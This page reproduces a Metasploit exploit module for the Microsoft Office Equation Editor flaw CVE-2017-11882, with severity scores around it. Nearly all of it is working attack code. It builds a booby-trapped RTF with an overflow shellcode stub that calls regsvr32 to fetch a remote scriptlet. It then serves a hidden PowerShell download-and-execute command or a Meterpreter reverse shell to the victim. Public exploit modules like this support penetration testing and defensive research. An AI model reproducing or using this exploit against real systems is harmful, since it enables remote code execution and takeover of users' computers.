7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office CVE-2017-11882',
'Description' => %q{
Module exploits a flaw in how the Equation Editor that
allows an attacker to execute arbitrary code in RTF files without
interaction. The vulnerability is caused by the Equation Editor,
to which fails to properly handle OLE objects in memory.
},
'Author' => ['mumbai', 'embedi'],
'License' => MSF_LICENSE,
'DisclosureDate' => '2017-11-15',
'References' => [
['CVE', '2017-11882'],
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
['URL', 'https://github.com/embedi/CVE-2017-11882']
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Microsoft Office', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
))
register_options([
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
])
end
def retrieve_header(filename)
if (not datastore['FOLDER_PATH'].nil?)
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
else
path = nil
end
if (not path.nil?)
if ::File.file?(path)
File.open(path, 'rb') do |fd|
header = fd.read(fd.stat.size).split('{\*\datastore').first
header = header.to_s # otherwise I get nil class...
print_status("Injecting #{path}...")
return header
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
end
return header
end
def generate_rtf
header = retrieve_header(datastore['FILENAME'])
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
object_class << '09000600000000000000000000000100000001000000000000000010000002000'
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
object_class << '07400720079000000000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000003'
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << "00000300040000000000000000000000000000000000000000000000000000000"
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]
shellcode << "\x9e" # 6: 9e sahf
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\xc8" # f: 00 c8 add al,cl
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]
shellcode << "\\" # 12: 5c pop esp
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al
shellcode << "\xee" # 15: ee out dx,al
shellcode << "[" # 16: 5b pop ebx
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx
shellcode << "\x53" # 3e: 53 push ebx
shellcode << "\x51" # 3f: 51 push ecx
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]
shellcode << "\x53" # 49: 53 push ebx
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]
shellcode << "\x90" # 50: 90 nop
shellcode << "\x90" # 50: 90 nop
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000400'
footer << '0000C5000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000001050000050000000D0000004D45544146494C'
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
footer << '500000002001C0000000000050000000902000000000500000002'
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
footer << '00030000000000' + "\n"
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
footer << "00000000\n"
footer << "}}}\n"
footer << '\par}' + "\n"
payload = shellcode
payload += [0x00402114].pack("V")
payload += "\x00" * 2
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
payload = header + object_class + payload + footer
payload
end
def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end
def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end
def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end
def primer
file_create(generate_rtf)
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%